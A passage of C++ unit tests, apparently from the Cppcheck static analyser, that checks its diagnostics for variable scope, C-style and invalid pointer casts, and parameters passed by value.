\" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function 